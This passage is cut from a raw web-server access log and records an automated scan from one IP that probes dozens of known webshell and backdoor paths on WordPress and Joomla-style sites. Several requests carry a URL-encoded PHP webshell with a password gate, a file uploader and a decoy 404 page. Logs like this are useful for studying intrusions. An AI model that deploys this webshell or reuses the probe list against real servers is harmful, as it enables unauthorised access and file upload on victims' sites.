d%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:04 +0530] "GET /cms.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:04 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:04 +0530] "GET /wp-content/upgrade/lfgpoem.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:04 +0530] "GET /j.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:04 +0530] "GET /system_log.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:05 +0530] "GET /blog/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:06 +0530] "GET /indeeex.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:06 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:07 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:07 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:08 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:08 +0530] "GET /41.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:09 +0530] "GET /4index.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:09 +0530] "GET /FoxWSOv1.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:10 +0530] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 302 260 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:10 +0530] "GET /wp-admin/js/wddx_packet_start.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:11 +0530] "GET /autoload_classmap.php HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:11 +0530] "GET /dr.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:14 +0530] "GET /old-index.php HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:15 +0530] "GET /wp-content/themes/astra/content-index.php HTTP/1.1" 302 261 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:16 +0530] "GET /wp-includes/fw.php HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:16 +0530] "GET /wp-admin/includes/maint/wp-cron.php HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:16 +0530] "GET /alfa.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:16 +0530] "GET /777.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:16 +0530] "GET /098.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:17 +0530] "GET /wp-admin/wso112233.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:18 +0530] "GET /wp-includes/pomo/radiowso.php HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:18 +0530] "GET /templates/beez/index.php HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:18 +0530] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:18 +0530] "GET /wp-content/think.php HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:19 +0530] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 302 257 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:19 +0530] "GET /wp-content/languages/sidwso.php HTTP/1.1" 302 251 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-admin/js/acces.php HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /ff.php?pass=shell HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /fox.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-includes/css/css.php HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-admin/css/modern/colors.css.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-content/mu-plugins-old/iimzloqncz.php HTTP/1.1" 302 260 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /rahma.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /1xleet.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /kn.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /images/about.php HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-signin.php HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /libraries/joomla/jmails.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /alexusmailer%202.0.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /Uploader.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-admin/maint/fw.php HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /templates/ja_purity/index.php HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /DKIZ.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /baxa1.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-includes/pomo/repair.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /sh.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /.well-known/xwolfx.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 302 272 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:20 +0530] "GET /wp-content/wp.php HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /alexuse.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-admin/css/fw.php HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /upload.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /lol.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /kk.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /0byte.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /nasgor.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-includes/images/css.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-admin/network/wolf-shell.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-content/.wp-back.phP HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wi.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET 